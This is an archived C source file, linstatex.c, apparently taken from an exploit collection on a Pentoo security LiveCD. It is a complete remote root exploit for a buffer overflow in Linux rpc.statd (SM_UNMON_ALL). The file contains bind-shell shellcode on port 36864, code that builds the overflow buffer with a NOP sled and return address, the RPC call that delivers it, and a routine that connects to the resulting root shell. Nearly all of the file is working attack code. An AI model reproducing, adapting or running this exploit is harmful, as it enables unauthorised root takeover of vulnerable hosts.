home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / rpc / linstatex.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  6KB  |  253 lines

  1. /*
  2.  *   -> PRIVATE. DO NOT USE. DO NOT DISTRIBUTE. <-
  3.  *
  4.  *  linstatex.c
  5.  *  December 28, 1999
  6.  *  Remote root overflow for linux rpc.statd SM_UNMON_ALL vulnerability.
  7.  *
  8.  *  statd-0.2.4.tar.gz from http://www.kr.kernel.org/pub/linux/daemons/statd/
  9.  *
  10.  *  
  11.  */
  12.  
  13. #include <stdio.h>
  14. #include <stdlib.h>
  15. #include <unistd.h>
  16. #include <ctype.h>
  17. #include <string.h>
  18. #include <memory.h>
  19. #include <sys/types.h>
  20. #include <sys/socket.h>
  21. #include <sys/time.h>
  22. #include <netinet/in.h>
  23. #include <arpa/inet.h>
  24. #include <netdb.h>
  25. #include <rpc/rpc.h>
  26. #include <rpcsvc/sm_inter.h>
  27. #include <rpcsvc/sm_inter_xdr.c>
  28. #include <rpcsvc/sm_inter_clnt.c>
  29.  
  30. #define PROG        100024
  31. #define VERS        0x01
  32. #define PROC        0x04           /* SM_UNMON_ALL */
  33. #define BD_PORT        36864
  34. #define ADDR        0xbffff104
  35. #define RETPOS        989
  36. #define MR_NAME        "elite"
  37.  
  38. char c0de[] =
  39. "\xeb\x49\x5e\x29\xc0\x29\xdb\x40\x89\x46\x04\x40\x89\x06\xb0\x06\x89\x46\x08"
  40. "\xb0\x66\x43\x89\xf1\xcd\x80\x89\x06\xb0\x02\x66\x89\x46\x0c\xb0\x90\x66\x89"
  41. "\x46\x0e\x8d\x46\x0c\x89\x46\x04\x29\xc0\x89\x46\x10\xb0\x10\x89\x46\x08\xb0"
  42. "\x66\x43\xcd\x80\x29\xc0\x40\x89\x46\x04\xb3\x04\xb0\x66\xcd\x80\xeb\x02\xeb"
  43. "\x4c\x29\xc0\x89\x46\x04\x89\x46\x08\xb0\x66\x43\xcd\x80\x88\xc3\x29\xc9\xb0"
  44. "\x3f\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x3f\x41\xcd\x80\xb8\x2e\x62\x69\x6e\x40"
  45. "\x89\x06\xb8\x2e\x73\x68\x21\x40\x89\x46\x04\x29\xc0\x88\x46\x07\x89\x76\x08"
  46. "\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x29\xc0\x40\xcd"
  47. "\x80\xe8\x64\xff\xff\xff";
  48.  
  49. u_long
  50. resolve_host(u_char *host_name)
  51. {
  52.     struct in_addr addr;
  53.     struct hostent *host_ent;
  54.     
  55.     addr.s_addr = inet_addr(host_name);
  56.     if (addr.s_addr == -1)
  57.     {
  58.     host_ent = gethostbyname(host_name);
  59.     if (!host_ent) return(0);
  60.     memcpy((char *)&addr.s_addr, host_ent->h_addr, host_ent->h_length);
  61.     }
  62.     
  63.     return(addr.s_addr);
  64. }
  65.  
  66. void
  67. reclamation(u_long dst_ip)
  68. {
  69.     struct sockaddr_in sin;
  70.     u_char sock_buf[4096];
  71.     fd_set fds;
  72.     int sock;
  73.     
  74.     usleep(15000);
  75.     sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  76.     if (sock == -1)
  77.     {
  78.     perror("socket allocation");
  79.     exit(-1);
  80.     }
  81.     
  82.     sin.sin_family = AF_INET;
  83.     sin.sin_port   = htons(BD_PORT);
  84.     sin.sin_addr.s_addr = dst_ip;
  85.     
  86.     if (connect(sock, (struct sockaddr *)&sin, sizeof(struct sockaddr)) == -1)
  87.     {
  88.     perror("connecting to backdoor");
  89.     close(sock);
  90.     exit(-1);
  91.     }
  92.     
  93.     fprintf(stderr, "owned\n");
  94.     for (;;)
  95.     {
  96.     FD_ZERO(&fds);
  97.     FD_SET(0, &fds);  /* STDIN_FILENO */
  98.     FD_SET(sock, &fds);
  99.     
  100.     if (select(255, &fds, NULL, NULL, NULL) == -1)
  101.     {
  102.         perror("select");
  103.         close(sock);
  104.         exit(-1);
  105.     }
  106.     
  107.     memset(sock_buf, 0, sizeof(sock_buf));
  108.     
  109.     if (FD_ISSET(sock, &fds))
  110.     {
  111.         if (recv(sock, sock_buf, sizeof(sock_buf), 0) == -1)
  112.         {
  113.         fprintf(stderr, "Connection closed by foreign host.\n");
  114.         close(sock);
  115.         exit(0);
  116.         }
  117.         
  118.         fprintf(stderr, "%s", sock_buf);
  119.     }
  120.     
  121.     if (FD_ISSET(0, &fds))
  122.     {
  123.         read(0, sock_buf, sizeof(sock_buf));
  124.         write(sock, sock_buf, strlen(sock_buf));
  125.     }
  126.     }
  127.     
  128.     /* NOTREACHED */
  129. }
  130.  
  131. static u_char *
  132. overflow_buf(u_int offset)
  133. {
  134.     static u_char buf[4096];
  135.     u_long addr    = ADDR + offset;
  136.     u_int  retpos  = RETPOS;
  137.     int i = 0, j = 0;
  138.     
  139.     memset(buf, 0x90, sizeof(buf));
  140.     
  141.     for (i = retpos - strlen(c0de); i < retpos; j++, i++)
  142.     {
  143.     buf[i] = c0de[j];
  144.     }
  145.     
  146.     for (; i < retpos + 4; i += 4)
  147.     {
  148.         buf[i+0] = (addr & 0xff);
  149.         buf[i+1] = (addr >> 8) & 0xff;
  150.         buf[i+2] = (addr >> 16) & 0xff;
  151.         buf[i+3] = (addr >> 24) & 0xff;
  152.     }
  153.     
  154.     buf[i] = 0;
  155.     memset(buf + i, 0, sizeof(buf) - i);
  156.     
  157.     return(buf);
  158. }
  159.  
  160. void
  161. exploit(u_long dst_ip, u_int offset)
  162. {
  163.     struct sockaddr_in sin;
  164.     struct sm_stat_res stat_res;
  165.     struct mon mon_req;
  166.     struct timeval time_val;
  167.     CLIENT *clnt;
  168.     int sock = RPC_ANYSOCK;
  169.     
  170.     time_val.tv_usec  = 0;
  171.     time_val.tv_sec   = 10;
  172.     
  173.     memset(&sin, 0, sizeof(struct sockaddr_in));
  174.     sin.sin_family = AF_INET;
  175.     sin.sin_addr.s_addr = dst_ip;
  176.     
  177.     clnt = clntudp_create(&sin, PROG, VERS, time_val, &sock);
  178.     if (!clnt)
  179.     {
  180.     fprintf(stderr, "err: clntudp_create(): is host running statd?\n");
  181.     exit(-1);
  182.     }
  183.     
  184.     memset(&mon_req, 0, sizeof(struct mon));
  185.     mon_req.mon_id.my_id.my_prog  = PROG;
  186.     mon_req.mon_id.my_id.my_vers  = VERS;
  187.     mon_req.mon_id.my_id.my_proc  = PROC;
  188.     mon_req.mon_id.my_id.my_name  = MR_NAME;
  189.     mon_req.mon_id.mon_name       = overflow_buf(offset);
  190.     mon_req.priv[0]               = '/';
  191.     
  192.     if (clnt_call(clnt, PROC, (xdrproc_t)xdr_mon, &mon_req.mon_id, 
  193.          (xdrproc_t)xdr_sm_stat_res, &stat_res, time_val) 
  194.             != RPC_SUCCESS)
  195.     {
  196.     usleep(10000);
  197.     clnt_destroy(clnt);
  198.     reclamation(dst_ip);
  199.     }
  200.     
  201.     fprintf(stderr, "clnt_call() succeeded: is the daemon patched?\n");
  202.     clnt_destroy(clnt);
  203.     exit(0);
  204. }
  205.  
  206. void
  207. usage(u_char *nomenclature)
  208. {
  209.     fprintf(stderr, "usage:\t%s dst_host|ip [-o offset]\n", nomenclature);
  210.     exit(0);
  211. }
  212.  
  213. int
  214. main(int argc, char **argv)
  215. {
  216.     struct in_addr iaddr;
  217.     u_long dst_ip  = 0;
  218.     u_int offset   = 0;
  219.     char opt;
  220.     
  221.     fprintf(stderr, "linstatex.c -- Linux rpc.statd SM_UNMON_ALL remote root overflow\n");
  222.     if (argc < 2)
  223.     {
  224.     usage(argv[0]);
  225.     /* NOTREACHED */
  226.     }
  227.     
  228.     dst_ip = resolve_host(argv[1]);
  229.     if (!dst_ip)
  230.     {
  231.     fprintf(stderr, "What kind of address is this: `%s`?\n", argv[1]);
  232.     exit(-1);
  233.     }
  234.     
  235.     while ((opt = getopt(argc, argv, "o:")) != EOF)
  236.     {
  237.     switch(opt)
  238.     {
  239.         case 'o':
  240.         offset = (u_int)atoi(optarg);
  241.         break;
  242.         default:
  243.         usage(argv[0]);
  244.         /* NOTREACHED */
  245.     }
  246.     }
  247.     
  248.     iaddr.s_addr = dst_ip;
  249.     fprintf(stderr, "Attacking target `%s`..\n", inet_ntoa(iaddr));
  250.     exploit(dst_ip, offset);
  251.     /* NOTREACHED */
  252. }
  253. /*                   www.hack.co.za   [28 September 2000]*/